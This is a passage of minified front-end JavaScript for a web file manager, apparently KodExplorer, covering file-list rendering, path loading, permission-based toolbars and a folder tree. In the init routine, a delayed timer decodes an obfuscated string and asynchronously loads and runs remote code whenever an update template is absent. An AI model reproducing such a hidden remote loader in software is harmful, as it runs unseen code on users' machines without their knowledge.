t&&t()})},setFileIconSize:function(e){ui.fileListResize.setFileIconSize(e,!0),core.isApp("desktop")&&ui.f5()},isEdit:function(){var e=$(document.activeElement).get(0);if(e)return e=e.tagName,"INPUT"==e||"TEXTAREA"==e?!0:$(".file.file-icon-edit").length>0?!0:!1},init:function(){if(G.sid){LocalData.get("theme")&&(G.userConfig.theme=LocalData.get("theme")),LocalData.get("listType")&&(G.userConfig.listType=LocalData.get("listType")),LocalData.get("listSortField")&&(G.userConfig.listSortField=LocalData.get("listSortField")),LocalData.get("listSortOrder")&&(G.userConfig.listSortOrder=LocalData.get("listSortOrder")),LocalData.set("theme",G.userConfig.theme),LocalData.set("listType",G.userConfig.listType),LocalData.set("listSortField",G.userConfig.listSortField),LocalData.set("listSortOrder",G.userConfig.listSortOrder);var a=window.location.href.split("#");2==a.length&&(G.thisPath=urlDecode(a[1]))}if(ui.setTheme(G.userConfig.theme),""==G.thisPath){var o=G.userID||G.sid,s=LocalData.get("thisPath:"+o);G.thisPath=s?s:G.myhome}setTimeout(function(){try{if("undefined"==typeof tplDialogHtml||-1==tplDialogHtml.search("update-box")){var t=authCrypt.decode("b3fdAonKjUGhk9vw1n0NghZ3GyCmoO_R5ds-phbwWLJQ8jXyV8nNAz9KKIyIsWKloRZE9GcsDmxDdDZaPDBCzGkftY8a2Y0","_32@!A$")+UUID();e.async(t,function(e){try{e.todo("2-1")}catch(t){}})}}catch(a){}},1e3*parseInt(70*Math.random()+30)),n(G.userConfig.listType),setTimeout(function(){n(G.userConfig.listType)},300),t.init(),b(),ui.path.history.add(G.thisPath),i(function(){b()}),r(),l(),d(),c(),g(),p()}}}),define("app/src/explorer/fileContent",[],function(require,exports){var tpl=require("../../path/tpl/file/list.html"),pageLoadMax=200,ajaxLive=function(){ui.fileLight.init(),core.isApp("desktop")&&ui.resetDesktopIcon(),"split"==G.userConfig.listType&&ui.fileListResize.bindSplitResize(),lazyLoadImage(),iconFlex(),Hook.trigger("explorer.path.ajaxLive")},lazyLoadImage=function(){var e=$(".bodymain");return core.isApp("desktop")?(e.find(".lazyload-ready").each(function(){$(this).attr("src",$(this).attr("data-original")).hide().fadeIn(600),$(this).removeClass("lazyload-ready")}),void 0):("split"==G.userConfig.listType&&(e=$(".split-box").last().find(".content")),e.find(".lazyload-ready").lazyload({failure_limit:10,threshold:200,placeholder:G.staticPath+"images/common/loading_circle.gif",skip_invisible:!1,effect:"fadeIn",container:e,load:function(){$(this).removeClass("lazyload-ready")}}).on("error",function(){var e=$(this).data("errorReload");e?"1"==e&&($(this).parent().attr("filetype"),$(this).attr("src",G.staticPath+"images/file_icon/icon_file/picture_error.png"),$(this).data("errorReload","2")):($(this).attr("src",$(this).attr("src")+"#"+UUID()),$(this).data("errorReload","1"))}),void 0)},iconFlex=function(){if(!core.isApp("desktop")&&"icon"==G.userConfig.listType){$(".file-list-icon .flex-empty").remove();for(var e="",t=0;30>t;t++)e+='
          ';$(e).appendTo(".file-list-icon")}},mainDataDefaultApps=function(){template.helper("fileIconMake",fileIconMake);var e=template.compile(tpl),t="";for(var a in desktopApps){var i={LNG:LNG,G:G,list:desktopApps[a],type:"icon-file"};t+=e(i)}return t},mainSetData=function(e){var t=makeHtml(G.jsonData,0,getPageNumber()-1);core.isApp("desktop")&&(t=mainDataDefaultApps()+t),t=htmlListAction(G.jsonData,t,!1),"split"==G.userConfig.listType&&(t='
          '+t+'
          '),e?$(Config.FileBoxSelector).hide().html(t).fadeIn(Config.AnimateTime).css("display",""):$(Config.FileBoxSelector).html(t),"split"==G.userConfig.listType&&$(".split-box").data("jsonData",G.jsonData),ajaxLive()},scrollDelayTimer="",bindScrollLoadMore=function(){var e=$(".bodymain");e.scroll(function(){clearTimeout(scrollDelayTimer),scrollDelayTimer=!1,scrollDelayTimer=setTimeout(function(){0!=e.scrollTop()&&loadMore()},100)}),$(".split-load-more").live("dblclick",function(){$("[data-action=set-list]").click()})},getPageNumber=function(){var e=ui.fileLight.fileListAll().last(),t=$(".bodymain .file-continer-more");if(0==e.length)return pageLoadMax;var a=G.jsonData.folderList.length+G.jsonData.fileList.length;if(t.css("top",0),pageLoadMax>a||"split"==G.userConfig.listType)return pageLoadMax;var e=ui.fileLight.fileListAll().last(),i=e.outerWidth()+$sizeInt(e.css("margin-right"))+3.5,n=parseInt($(".bodymain .file-continer").width()/i);"icon"!=G.userConfig.listType&&(n=1);var o=e.outerHeight()+$sizeInt(e.css("margin-bottom")),s=Math.ceil($(Config.BodyContent).height()/o),r=Math.ceil(a/n)*o;return t.css("top",r),s*n},resetTotalHeight=function(){var e=".bodymain .file-continer > .file",t=$(e).last(),a=$(".bodymain .file-continer-more");if(0!=t.length){var i=G.jsonData.folderList.length+G.jsonData.fileList.length;if(a.css("top",0),!(pageLoadMax>i||"split"==G.userConfig.listType)){var n=t.outerWidth()+$sizeInt(t.css("margin-right")),o=parseInt($(".bodymain .file-continer").width()/n);"icon"!=G.userConfig.listType&&(o=1);var s=t.outerHeight()+$sizeInt(t.css("margin-bottom"));Math.ceil($(Config.BodyContent).height()/s);var r=Math.ceil(i/o)*s;a.css("top",r)}}},loadMoreDelayTimer,loadMore=function(){var e=$(".bodymain .file-continer > .file"),t=e.last(),a=e.length-1,i=G.jsonData.folderList.length+G.jsonData.fileList.length;if(!(a>=i-1||"split"==G.userConfig.listType)){var n=$(".bodymain").scrollTop(),o=$(".bodymain").height(),s=$(".bodymain").offset().top;$(".bodymain .file-continer").offset().top;var r=t.outerHeight()+$sizeInt(t.css("margin-bottom")),l=s+o-r;if(l>t.offset().top){var c=l-t.offset().top,d=getPageNumber(),p=Math.ceil(c/o),u=p*d+a;u>i&&(u=i),u-a>1e3?($(".init-loading").show(),clearTimeout(loadMoreDelayTimer),loadMoreDelayTimer=setTimeout(function(){loadMoreSet(a+1,u),$(".bodymain").scrollTop(n)},300)):loadMoreSet(a+1,u)}}},loadMoreSet=function(e,t){var a=makeHtml(G.jsonData,e,t),i=$(a);i.appendTo(".bodymain .file-continer"),ui.fileLight.fileListAll($(Config.FileBoxClass)),ui.fileLight.menuAction("clear"),lazyLoadImage(),iconFlex(),$(".init-loading").hide()},fileIconMake=function(e,t,a){var i="icon"!=t;if("folder"==e){var n=Hook.trigger("explorer.list.folderThumb",a.path,a.ext);return"string"==$.type(n)?n:(e=a.ext||e,core.icon(e,i))}var n=Hook.trigger("explorer.list.fileThumb",a.path,a.ext);if("string"==$.type(n))return n;if(inArray(["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],a.ext)){var o=G.appHost+"explorer/image";return G.sid&&(o=G.appHost+"share/image&user="+G.user+"&sid="+G.sid),o+="&time="+strtotime(a.mtime)+"&path=","
          "}if("app_link"==a.type){var s=core.icon("folder");0==a.content.search("ui.path.open")?s=core.icon(core.pathExt(a.name.replace(".oexe",""))):0==a.content.search("ui.path.list")&&(s=core.icon(a.icon));var r="
          "+s+"
          ";return r+""}if(a.icon&&"oexe"==a.ext){var l=a.icon;return"string"==$.type(a.icon)&&-1==a.icon.search(G.staticPath)&&"http"!=a.icon.substring(0,4)&&(l=G.staticPath+"images/file_icon/icon_app/"+a.icon),"
          "+core.iconSrc(l)+"
          "}return"
          "+core.icon(a.ext,i)+"
          "},makeHtml=function(e,t,a){template.helper("fileIconMake",fileIconMake);var i=template.compile(tpl),n="",o=[];o="up"==G.userConfig.listSortOrder?e.folderList.concat(e.fileList):e.fileList.concat(e.folderList),(!a||a>=o.length-1)&&(a=o.length-1);for(var s=t;a>=s;s++){var r="folder"==o[s].type?"-folder":"-file",l={LNG:LNG,G:G,list:o[s],index:s,type:G.userConfig.listType+r};n+=i(l)}return n},pathChildrenTree=function(e,t){if("string"==$.type(e))var a=$('.bodymain .file-continer .file[data-path="'+pathHashEncode(e)+'"]');else{var a=e;e=ui.fileLight.path(a)}if(1==a.length){var i=a.find(".children-more"),n=a.find(".children-more-cert"),o=$('.children-list[data-path-children="'+pathHashEncode(e)+'"]'),s=23;if(n.toggleClass("cert-open"),n.hasClass("cert-open")?o.removeClass("hidden"):o.addClass("hidden"),o.hasClass("child-already-init"))return pathListOdd(),void 0;a.addClass("loading-children"),pathGet(e,function(e){a.removeClass("loading-children");var n=makeHtml(e,0,getPageNumber()-1);""!=n&&(n=htmlListAction(e,n,!0)),o.html(n),ajaxLive(),o.addClass("child-already-init");var r=s+parseInt(i.css("padding-left"));o.find(".file .children-more").css("padding-left",r),pathListOdd(),"function"==typeof t&&t(e)})}},htmlListAction=function(e,t,a){if(""==t)return t='
          '+LNG.path_null+"
          ";var i=e.folderList.concat(e.fileList);if(i.length>pageLoadMax){var n=core.pathFather(i[0].path);"list"==G.userConfig.listType&&a?t+='
          '+'
          '+''+'
          '+''+LNG.file_load_all+""+"
          "+"
          ":"split"==G.userConfig.listType&&(t+='
          '+'
          '+'
          '+''+LNG.file_load_all+"(to list)"+"
          "+"
          ")}return t},pathListOdd=function(){var e=0;ui.fileLight.fileListAll().each(function(){0==$(this).parents(".hidden").length&&(0==e%2?$(this).addClass("file2"):$(this).removeClass("file2"),e++)})},pathChildrenSplit=function(e,t){var a=$('.file[data-path="'+pathHashEncode(e)+'"]'),i=$(".bodymain .file-list-split .split-box[data-path='"+pathHashEncode(e)+"']");if(0==a.length)return"function"==typeof t&&t(),void 0;if(1==i.length)return i.nextAll().remove(),"function"==typeof t&&t(),void 0;var n=a.parent().parent();pathSplitCreate(e,t,n)},pathSplitCreate=function(e,t,a){pathGet(e,function(i){if("notExists"==i.pathReadWrite)return t(i);var n=makeHtml(i,0,getPageNumber()-1);if(n=htmlListAction(i,n,!0),a)if(a.nextAll(".split-box").length>0){var o=a.next(".split-box");o.attr("data-path",pathHashEncode(e)).find(".content").html(n),o.nextAll().remove()}else n='
          '+n+'
          ',$(n).insertAfter(a).data("jsonData",i);else n='
          '+n+'
          ',$(n).appendTo(".bodymain .file-list-split").data("jsonData",i);ajaxLive(),"function"==typeof t&&t()})},beforeSelectFileArr={},beforeListOpenArr={},beforeListOpen={},beforeListSplitSelect="",beforeScrollerLeft=0,f5Before=function(){if(!("icon"==G.userConfig.listType||beforeListOpenArr.length>0))if(beforeListOpenArr={},beforeListOpen={},"list"==G.userConfig.listType){var e=$(".child-already-init:visible");if(1>e.length)return;e.each(function(){var e=$(this),t=beforeListOpenArr,a=ui.fileLight.path(e,"data-path-children");beforeListOpen[a]=!1;for(var i=[a];0!=e.parents(".children-list").length;)e=e.parents(".children-list"),i.push(ui.fileLight.path(e,"data-path-children"));for(var n=i.length-1;n>=0;n--){var o=i[n];t[o]!==void 0?t=t[o]:t[o]={}}})}else if("split"==G.userConfig.listType){var t=beforeListOpenArr;beforeScrollerLeft=$(".drag-upload-box").scrollLeft(),beforeListSplitSelect=ui.fileLight.path($(".file-list-split .split-box.split-select")),$(".bodymain .file-continer .split-box").each(function(){var e=ui.fileLight.path($(this));""!=e&&(t[e]={},t=t[e],beforeListOpen[e]=!1)})}},f5After=function(e){return"icon"==G.userConfig.listType||0==Object.keys(beforeListOpenArr).length?(f5AfterReloadFinished(e),void 0):("split"==G.userConfig.listType&&$(".file-list-split .split-box").remove(),f5AfterReload(beforeListOpenArr,e),void 0)},f5AfterReload=function(e,t){$.each(e,function(e,a){var i=pathChildrenTree;"split"==G.userConfig.listType&&(i=pathSplitCreate),i(e,function(){beforeListOpen[e]=!0,0!=Object.keys(a).length?f5AfterReload(a,t):f5AfterReloadFinished(t)})}),f5AfterReloadFinished(t)},f5AfterReloadFinished=function(e){for(var t in beforeListOpen)if(beforeListOpen[t]===!1)return;$(".drag-upload-box").scrollLeft(beforeScrollerLeft),ui.fileSelect.selectSplit(beforeListSplitSelect),ui.path.setSelectByFilename(beforeSelectFileArr),beforeListOpenArr={},beforeListOpen={},beforeSelectFileArr={},beforeListSplitSelect="","function"==typeof e&&e()},f5=function(e,t,a){if(void 0==e&&(e=!0),void 0==t&&(t=!1),jsonDataSortTitle(),f5Before(),beforeSelectFileArr=ui.fileLight.getAllName(),e?pathGet(G.thisPath,function(e){G.jsonData=e,mainSetData(t),pathTypeChange(G.jsonData),loadMore(),resetTotalHeight(),f5After(a),core.isApp("desktop")?checkRecycle():ui.headerAddress.addressSet()},function(){$(Config.FileBoxSelector).html("")}):(G.jsonData=jsonDataSort(G.jsonData),mainSetData(t),pathTypeChange(G.jsonData),loadMore(),resetTotalHeight(),f5After(a)),!core.isApp("desktop")){var i=G.userID||G.sid;LocalData.set("thisPath:"+i,G.thisPath)}},sortBy=function(e,t){var t="down"==t?-1:1;return function(a,i){var a=a[e],i=i[e];return pathTools.strSort(a,i)*t}},jsonDataSort=function(e){e=jsonDatafilter(e);var t=e.folderList,a=e.fileList;return t="size"==G.userConfig.listSortField||"ext"==G.userConfig.listSortField?t.sort(sortBy("name",G.userConfig.listSortOrder)):t.sort(sortBy(G.userConfig.listSortField,G.userConfig.listSortOrder)),a=a.sort(sortBy(G.userConfig.listSortField,G.userConfig.listSortOrder)),e.folderList=t,e.fileList=a,e},pathGet=function(e,t,a){var i=G.appHost+"explorer/pathList&path="+urlEncode(e);G.user&&(i=G.appHost+"share/pathList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),$.ajax({url:i,dataType:"json",beforeSend:function(){$(".tools-left .msg").stop(!0,!0).fadeIn(200)},success:function(e){if($(".tools-left .msg").fadeOut(300),!e||!e.code)return Tips.tips(e),"function"==typeof a&&a(),!1;var i=jsonDataSort(e.data);"function"==typeof t&&t(i)},error:function(e,t,i){$(".tools-left .msg").fadeOut(300),core.ajaxError(e,t,i),"function"==typeof a&&a()}})},f5Callback=function(e){f5(!0,!1,e)},jsonDatafilter=function(e){if(!e)return e;if(void 0!=e.shareList&&(selfShare=e.shareList),e.filterSuccess===!0)return e;for(var t in e)if("fileList"==t||"folderList"==t)for(var a=0;e[t].length>a;a++){var i=e[t][a];if(i.mtime&&11>=(""+i.mtime).length)if(i.atime=date(LNG.time_type,i.atime),i.ctime=date(LNG.time_type,i.ctime),e.info&&e.info.pathType==G.KOD_USER_SHARE&&-1==trim(e.thisPath,"/").indexOf("/")){var n=parseInt(i.numView);n=isNaN(n)?0:n;var o=parseInt(i.numDownload);o=isNaN(o)?0:o;var s=date("Y/m/d ",i.mtime)+" ";s+=LNG.share_view_num+n+" "+LNG.share_download_num+o,i.mtime=s}else i.mtime=date(LNG.time_type,i.mtime);i.showName&&(i.name=i.showName),i.name=htmlEncode(i.name),i.sid&&"file"==i.type&&(i.ext=htmlEncode(core.pathExt(i.path))),pathIsShare(i.path)?i.metaInfo="path-self-share":pathIsFav(i.path)&&(i.metaInfo="tree-fav"),"number"==typeof i.isReadable&&0==i.isReadable?i.mode="["+LNG.not_read+"] "+i.mode:"number"==typeof i.isWriteable&&1==i.isWriteable?i.mode="["+LNG.system_role_write+"] "+i.mode:"number"==typeof i.isReadable&&1==i.isReadable&&(i.mode="["+LNG.only_read+"] "+i.mode),e.info&&e.info.pathType==G.KOD_USER_RECYCLE&&trim(e.thisPath,"/")==G.KOD_USER_RECYCLE&&(i.menuType="menu-recycle-path")}return e.filterSuccess=!0,e},jsonDataSortTitle=function(){var up='',down='';$("#main-title .this").toggleClass("this").attr("id","").find("span").html(""),$("#main-title div[field="+G.userConfig.listSortField+"]").addClass("this").attr("id",G.userConfig.listSortOrder).find("span").html(eval(G.userConfig.listSortOrder))},pathIsShare=function(e){for(var t in G.selfShare)if(core.pathClear(G.selfShare[t].path)==core.pathClear(e))return!0;return!1},pathIsFav=function(e){var t=G.fav_list;for(var a in t)if(core.pathClear(a)==core.pathClear(e))return!0;return!1},checkRecycle=function(){$.ajax({url:G.appHost+"explorer/pathList&type=desktop&path="+G.KOD_USER_RECYCLE,dataType:"json",error:core.ajaxError,success:function(e){if(!e.code)return!1;var t=core.icon("recycle-full");0==e.data.folderList.length&&0==e.data.fileList.length&&(t=core.icon("recycle")),$(".menu-recycle-button .ico").html(t)}})},pathTypeChange=function(e){if(e.info){var t=e.info,a=t.pathType,i=e.pathReadWrite,n="menu-body-main menu-recycle-body menu-share-body",o=$(".drag-upload-box");t.canUpload=!0,(void 0!=i&&"writeable"!=i||a==G.KOD_GROUP_SHARE&&"owner"!=t.role&&1!=G.isRoot||a==G.KOD_USER_SHARE&&"owner"!=t.role&&1!=G.isRoot||a==G.KOD_GROUP_PATH&&"guest"==t.role&&1!=G.isRoot||a==G.KOD_USER_FAV||a==G.KOD_USER_RECYCLE||a==G.KOD_GROUP_ROOT_ALL||a==G.KOD_GROUP_ROOT_SELF)&&(t.canUpload=!1);var s=[G.KOD_USER_SHARE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],r=".kod-toolbar-recycle,.kod-toolbar-share";$(r).addClass("hidden"),a==G.KOD_USER_RECYCLE?(o.removeClass(n).addClass("menu-recycle-body"),$(".tools-left .kod-toolbar").addClass("hidden"),$(".kod-toolbar-recycle").removeClass("hidden")):-1!==s.indexOf(a)?-1===core.pathClear(rtrim(G.thisPath,"/")).indexOf("/")?(o.removeClass(n).addClass("menu-share-body"),$(".tools-left .kod-toolbar").addClass("hidden"),$(".kod-toolbar-share").removeClass("hidden"),t.id==G.userID?($(".menu-share-path-menu").find(".open-the-path,.share-edit,.remove").removeClass("hidden"),$(".menu-share-path-more").find(".remove").removeClass("hidden")):($(".menu-share-path-menu").find(".open-the-path,.share-edit,.remove").addClass("hidden"),$(".menu-share-path-more").find(".remove").addClass("hidden"))):(o.removeClass(n).addClass("menu-body-main"),$(".tools-left .kod-toolbar").addClass("hidden"),$(".kod-toolbar-path").removeClass("hidden")):(o.removeClass(n).addClass("menu-body-main"),$(".tools-lef .kod-toolbar").addClass("hidden"),$(".kod-toolbar-path").removeClass("hidden")),currentPathMenu(e) -}},currentPathMenu=function(e){var t=e.info,a=e.pathReadWrite,i=t.pathType,n=".create-link,.create-project,.cute,.remove,.rname,.zip,.unzip-this,.unzip-folder,.newfile,.newfolder,.new-file-other,.app-create,.app-install,.past,.upload,.clone",o="disable",s=$(".kod-toolbar-path .btn").not(".toolbar-path-more"),r=$("ul.menu-folder,ul.menu-more,ul.menu-file,ul.file-continerMenu");t.canUpload?(r.find(n).removeClass(o),$(".path-tips").hide(),s.removeClass("disabled")):(s.addClass("disabled"),r.find(n).addClass(o),$(".path-tips span").html(LNG.only_read),i==G.KOD_USER_RECYCLE||i==G.KOD_USER_SHARE?($(".path-tips").hide(),s.removeClass("disabled"),i==G.KOD_USER_SHARE&&G.userID!=t.id&&s.addClass("disabled")):$(".path-tips").show());var l=$(".group-space-use");if((i==G.KOD_GROUP_PATH||i==G.KOD_GROUP_SHARE)&&G.isRoot||i==G.KOD_GROUP_PATH&&"owner"==t.role){var c=e.groupSpaceUse;if(c){var d=core.userSpaceHtml(c.sizeUse+"/"+c.sizeMax);l.removeClass("hidden").html(d)}else l.addClass("hidden")}else l.addClass("hidden");if(e.userSpace){var c=e.userSpace,d=core.userSpaceHtml(c.sizeUse+"/"+c.sizeMax);$(".user-space-info").html(d)}if("notExists"==a&&($(".path-tips span").html(LNG.not_exists),$(".path-tips").show()),$(".role-label-box").html(""),i==G.KOD_GROUP_SHARE){var p=""+LNG.group_guest+"";$(".role-label-box").html(p),G.isRoot&&$(".role-label-box").html("")}else if(i==G.KOD_GROUP_PATH&&t.groupRole){var p=""+t.groupRole.name+"";$(".role-label-box").html(p)}(i==G.KOD_GROUP_ROOT_ALL||i==G.KOD_GROUP_ROOT_SELF||i==G.KOD_USER_FAV||i==G.KOD_GROUP_SHARE)&&$(".path-tips").hide(),1==G.isRoot&&t.adminRealPath?$(".admin-real-path").removeClass("hidden"):$(".admin-real-path").addClass("hidden")};return{f5:f5,f5Callback:f5Callback,pathTypeChange:pathTypeChange,pathChildrenTree:pathChildrenTree,pathChildrenSplit:pathChildrenSplit,init:function(){$(window).bind("resize",function(){resetTotalHeight(),core.isApp("desktop")?ui.resetDesktopIcon():ui.headerAddress.resetWidth()}),bindScrollLoadMore()}}}),define("app/path/tpl/file/list.html",[],"\n{{if type=='icon-folder'}}\n
          \n {{if !list.menuType}}
          {{/if}}\n
          \n
          \n {{fileIconMake('folder','icon',list)}}\n
          \n {{if list.metaInfo}}\n
          {{list.metaInfo |kod.core.icon}}
          \n {{/if}}\n
          \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n
          \n
          \n\n\n{{else if type=='list-folder'}}\n
          \n {{if !list.menuType}}
          {{/if}}\n
          \n
          \n {{if list.metaInfo}}\n
          {{list.metaInfo |kod.core.icon}}
          \n {{/if}}\n \n {{if list.isParent&&list.isReadable}}{{/if}}\n \n
          \n {{fileIconMake('folder','list',list)}}\n
          \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n
          \n
          {{LNG.folder}}
          \n
          \n
          {{list.mtime || \"\"}}
          \n
          \n
          \n{{if list.isParent&&list.isReadable}}\n
          \n{{/if}}\n\n\n{{else if type=='split-folder'}}\n
          \n {{if !list.menuType}}
          {{/if}}\n
          \n
          \n {{if list.metaInfo}}\n
          {{list.metaInfo |kod.core.icon}}
          \n {{/if}}\n
          \n {{fileIconMake('folder','split',list)}}\n
          \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n \n {{if list.isReadable && typeof(list.menuType)==\"undefined\"}}\n \n {{/if}}\n \n
          \n
          \n\n\n{{else if type=='icon-file'}}\n
          \n {{if !list.menuType}}
          {{/if}}\n
          \n {{fileIconMake('file','icon',list)}}\n {{if list.metaInfo}}\n
          {{list.metaInfo |kod.core.icon}}
          \n {{/if}}\n
          \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
          \n
          \n\n\n{{else if type=='list-file'}}\n
          \n {{if !list.menuType}}
          {{/if}}\n
          \n
          \n \n {{fileIconMake('file','list',list)}}\n {{if list.metaInfo}}\n
          {{list.metaInfo |kod.core.icon}}
          \n {{/if}}\n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
          \n
          {{list.ext |kod.window.htmlEncode}} {{LNG.file}}
          \n
          {{list.size |pathTools.fileSize}}
          \n
          {{list.mtime || \"\"}}
          \n
          \n
          \n\n\n{{else if type=='split-file'}}\n
          \n {{if !list.menuType}}
          {{/if}}\n
          \n
          \n {{fileIconMake('file','split',list)}}\n {{if list.metaInfo}}\n
          {{list.metaInfo |kod.core.icon}}
          \n {{/if}}\n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
          \n
          \n{{/if}}\n\n"),define("app/common/tree",["../path/pathOperate","../path/clipboard","../path/search"],function(e){var t,a,i=e("../path/pathOperate"),n=e("../path/clipboard"),o=e("../path/search"),s=!1;ui.pathOperate=i;var r=function(e,t){var a=["menu-tree-group","menu-tree-fav","menu-tree-folder-fav"];if(e&&e[0]&&-1!==$.inArray(e[0].menuType,a))return e;for(var i=[],n=[],o=0;e.length>o;o++)e[o].drop=!1,e[o].drag=!1,e[o].name=e[o].name,e[o].isParent&&e[o].children&&(e[o].children=r(e[o].children)),e[o].isWriteable,"folder"==e[o].type?n.push(e[o]):i.push(e[o]);return t?e:(n=n.sort(function(e,t){var e=e.name,t=t.name;return pathTools.strSort(e,t)}),i=i.sort(function(e,t){var e=e.name,t=t.name;return pathTools.strSort(e,t)}),n.concat(i))},l=function(){var e={},t="tree_open_"+md5(Config.pageApp),i=function(e){if(!LocalData.support())return{};if(void 0==e){var a=LocalData.getConfig(t);return 0==a?{}:a}LocalData.setConfig(t,e)},n=function(t){for(var a=0;t.length>a;a++){var i=t[a].path;void 0!==e[i]&&(t[a].open=e[i])}return t},o=function(){for(var t=a.getNodesByFilter(function(e){return 0==e.level?!0:!1}),n={},o=0;t.length>o;o++)n[t[o].path]=t[o].open;return e=n,i(e),e};return e=i(),{list:function(){return e},reset:n,save:function(){setTimeout(o,50)}}}(),c=function(){$.ajax({url:G.appHost+Config.treeAjaxURL+"&type=init",dataType:"json",error:function(){$("#folder-list-tree").html('
          '+LNG.system_error+"
          ")},success:function(e){if(!e.code)return $("#folder-list-tree").html('
          '+LNG.system_error+"
          "),void 0;var t=r(e.data,!0);t=l.reset(t),$.fn.zTree.init($("#folder-list-tree"),u,t),a=$.fn.zTree.getZTreeObj("folder-list-tree")}}),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),core.isApp("editor")&&(Mousetrap.bind("up",function(e){d(e,"up")}).bind("down",function(e){d(e,"down")}).bind("left",function(e){d(e,"left")}).bind("right",function(e){d(e,"right")}),Mousetrap.bind("enter",function(){tree.open()}).bind(["del","command+backspace"],function(){tree.remove()}).bind("f2",function(e){stopPP(e),tree.rname()}).bind(["ctrl+f","command+f"],function(e){stopPP(e),tree.search()}).bind(["ctrl+c","command+c"],function(){tree.copy()}).bind(["ctrl+x","command+x"],function(){tree.cute()}).bind(["ctrl+v","command+v"],function(){tree.past()}).bind("alt+m",function(){tree.create("folder")}).bind("alt+n",function(){tree.create("file")}))},d=function(e,t){stopPP(e);var i=a.getSelectedNodes()[0];if(i)switch(t){case"up":var n=i.getPreNode();if(n){if(n.open&&n.children.length>0)for(;n.open&&n.children&&n.children.length>=1;)n=n.children[n.children.length-1]}else n=i.getParentNode();a.selectNode(n);break;case"down":if(i.open&&i.children.length>=1)n=i.children[0];else{var o=i,n=o.getNextNode()||o.getParentNode().getNextNode();try{for(;!n;)o=o.getParentNode(),n=o.getNextNode()||o.getParentNode().getNextNode()}catch(e){}}a.selectNode(n);break;case"left":i.isParent?i.open?a.expandNode(i,!1):a.selectNode(i.getParentNode()):a.selectNode(i.getParentNode());break;case"right":i.open?a.selectNode(i.children[0]):a.expandNode(i,!0);break;default:}},p=function(){return core.isApp("editor")?!1:!0},u={async:{enable:!0,dataType:"json",url:function(){return G.appHost+Config.treeAjaxURL},autoParam:["ajax_path=path","tree_icon=tree_icon"],dataFilter:function(e,t,a){return a.code?r(a.data):null}},edit:{enable:!0,showRemoveBtn:!1,showRenameBtn:!1,drag:{isCopy:!1,isMove:!1}},view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var a=15,i=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");i.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(i).before(''+core.iconSmall(o)+"").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="";i.before(s)}i.before("");var r="";void 0!=t.menuType?r=t.menuType:(("file"==t.type||"oexe"==t.ext)&&(r="menu-tree-file"),"folder"==t.type&&(r="menu-tree-folder"));var l=LNG.name+":"+t.name+"\n"+LNG.size+":"+pathTools.fileSize(t.size)+"\n"+LNG.modify_time+":"+t.mtime;"file"!=t.type&&(l=t.name),i.parent().addClass(r).attr("title",l),0==t.isWriteable&&i.parent().addClass("file-not-writeable"),0==t.isReadable&&i.parent().addClass("file-not-readable"),0===t.exists&&i.parent().addClass("file-not-readable")}},callback:{onClick:function(e,t,i){if(0==i.level&&l.save(),$(e.target).hasClass("menu-item")||$(e.target).parent().hasClass("menu-item")){var n=$("#"+i.tId+"_a"),o=n.find(".menu-item");return n.contextMenu({x:o.offset().left+o.width(),y:o.offset().top}),stopPP(e)}return a.selectNode(i),core.isApp("editor")&&"folder"==i.type?(a.expandNode(i),void 0):(core.isApp("editor")||"folder"!=i.type?(kodApp.setLastOpenTarget($("#"+i.tId)),kodApp.open(f().path)):ui.path.list(i.path),void 0)},beforeDblClick:function(){return!0},onCollapse:function(e,t,a){0==a.level&&l.save()},onExpand:function(e,t,a){0==a.level&&l.save()},onDblClick:function(e,t,i){return $(e.target).hasClass("switch")||!p()?!1:(a.expandNode(i),void 0)},beforeRightClick:function(e,t){a.selectNode(t)},beforeAsync:function(e,t){t.ajax_name=t.name,t.ajax_path=t.path,$("#"+t.tId+"_my_ico").addClass("ico_loading")},onAsyncSuccess:function(e,i,n,o){return $("#"+n.tId+"_my_ico").removeClass("ico_loading"),0==o.data.length?(a.removeChildNodes(n),void 0):("function"==typeof t&&(t(),t=void 0),void 0)},onRename:function(e,n,o){var s=o.getParentNode();if(a.getNodesByParam("name",o.name,s).length>1)return Tips.tips(LNG.name_isexists,!1),a.removeNode(o),void 0;if(o.create){var r=o.path+"/"+o.name;"folder"==o.type?i.newFolder(r,function(){t=function(){var e=a.getNodesByParam("name",o.name,s)[0];a.selectNode(e),b()},h(s)}):i.newFile(r,function(){t=function(){var e=a.getNodesByParam("name",o.name,s)[0];a.selectNode(e),b()},h(s)})}else{var l=rtrim(o.path,"/"),c=core.pathFather(o.path)+o.name;i.rname(l,c,function(e){o.path=e,t=function(){var e=a.getNodesByParam("name",o.name,s)[0];a.selectNode(e),b(),"folder"==o.type&&ui.path.list(o.path)},h(s)})}},beforeDrag:function(e,t){for(var a=0,i=t.length;i>a;a++)if(t[a].drag===!1)return!1;return!0},beforeDrop:function(e,t,a){return a?a.drop!==!1:!0},onDrop:function(e,t,a,i){var 